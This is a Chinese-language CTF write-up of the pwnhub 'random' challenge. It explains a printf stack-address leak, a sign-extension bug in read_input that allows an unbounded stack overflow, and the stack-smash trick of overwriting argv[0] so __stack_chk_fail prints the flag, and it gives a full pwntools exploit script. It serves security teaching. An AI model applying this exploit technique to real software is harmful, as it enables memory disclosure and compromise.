pwnhub公开赛二期PWN-random
pwnhub公开赛二期PWN-random
总结
根据本题,学习与收获有:
- 有时候IDA反编译出来的代码不一定准确,需要结合汇编代码进行分析
- 之前的
__stack_chk_fail函数,如果把args[0]处的地址覆盖为存储flag的地址,那么检测到canary被修改的时候,就会把flag打印出来
题目分析
checksec

保护全开
函数分析
部分函数已重命名!
main

在main函数中,调用了初始化函数,还有prctl函数,以及读取用户输入,输出一段欢迎信息。
这里因为buf距离rsp为0x20,如果完全读满0x10个字符,很可能会泄露出栈地址。
initial

没啥好看的
set_prctl

可以用seccomp-tools检测一下

禁用了execve
vuln

这个函数的处理流程为:
- 读取
flag到栈变量buf中 - 打印出了
buf的低1个字节的地址 - 读取一个正整数
num - 读取用户输入,向栈变量
v4里面读取(char)(num & 0x80)个字符
get_num

读取一个正整数
read_input

就是从stdin中读取输入,遇到\x0a结束。
漏洞点
漏洞点1:printf泄露出栈地址
在main函数的分析中指出,如果输入name的时候,长度恰好为0x10个可打印字符,可能泄露出栈上的内容。可结合gdb调试看一下:

的确能泄露出栈地址!
漏洞点2:任意大小往栈地址写内容
刚开始看IDA的反编译结果,看了半天,没有找到新的漏洞。后来研究了一下汇编代码,结合gdb调试,发现在read_input中,传给这个函数的第二个参数,也就是rsi寄存器的内容。
首先分析一下汇编代码:

dword_20204c就是num & 0x80,接下来是一个movsxd指令,将32位寄存器进行符号扩展到64位寄存器。直接使用$rebase(0xC1F)断点打在read_input函数出,输入整数为0xffff:

此时的rsi寄存器存储的内容为0xffffffffffffff80,因此可以溢出写,大小基本不限!
利用思路
由于漏洞点只能泄露出栈地址,虽然有任意大小溢出漏洞,但是由于不知道程序的基地址,也不知道libc的基地址,所以无法使用ROP进行利用。但是考虑到程序本身读取了flag,且开启了canary保护,因此可以尝试利用stack smash打印出flag。
知识点
-
stack smash开启了
canary保护的程序,如果发现canary被修改,就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下,这个指针指向了程序名。argv在很高的栈地址。 -
如果可以不限制大小地进行栈溢出,可以修改
argv[0]为指向flag的字符串地址,就能打印出flag。
利用过程
利用步骤:
- 利用
printf打印出栈地址,结合gift地址,得到存储flag栈地址 - 利用溢出漏洞,覆盖
argv[0]为flag地址,利用__stack_chk_fail打印出flag
EXP
调试过程
本地调试的时候,随便设置了一个flag文件:
首先需要读取出栈地址和计算出flag地址:
io = process('./random')
io.sendafter("tell me your name\n", 0x10 * 'a')
msg = io.recvline()
leak_stack_addr = u64(msg[-7:-1] + b'\x00\x00' )
LOG_ADDR('leak_stack_addr', leak_stack_addr)
flag_addr = leak_stack_addr - 0x320
msg = io.recvline()
buf_low_addr = int(msg[5 : -1].decode(), base=16)
LOG_ADDR('buf_low_addr', buf_low_addr)
LOG_ADDR('flag_addr', flag_addr)

接下来直接对栈进行溢出,触发stack smash:
io.sendafter("leave something?\n", str(0xffff))
io.sendline(p64(flag_addr) * 0x200)
io.interactive()

完整exp
from pwn import *
LOG_ADDR = lambda x, y: log.success("{} ===> {}".format(x, hex(y)))
io = process('./random')
io.sendafter("tell me your name\n", 0x10 * 'a')
msg = io.recvline()
leak_stack_addr = u64(msg[-7:-1] + b'\x00\x00' )
LOG_ADDR('leak_stack_addr', leak_stack_addr)
flag_addr = leak_stack_addr - 0x320
msg = io.recvline()
buf_low_addr = int(msg[5 : -1].decode(), base=16)
LOG_ADDR('buf_low_addr', buf_low_addr)
LOG_ADDR('flag_addr', flag_addr)
io.sendafter("leave something?\n", str(0xffff))
io.sendline(p64(flag_addr) * 0x200)
io.interactive()
最后远程打的flag为:

引用与参考
stack smash: https://ctf-wiki.org/pwn/linux/stackoverflow/fancy-rop/#stack-smash
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/14843469.html

浙公网安备 33010602011771号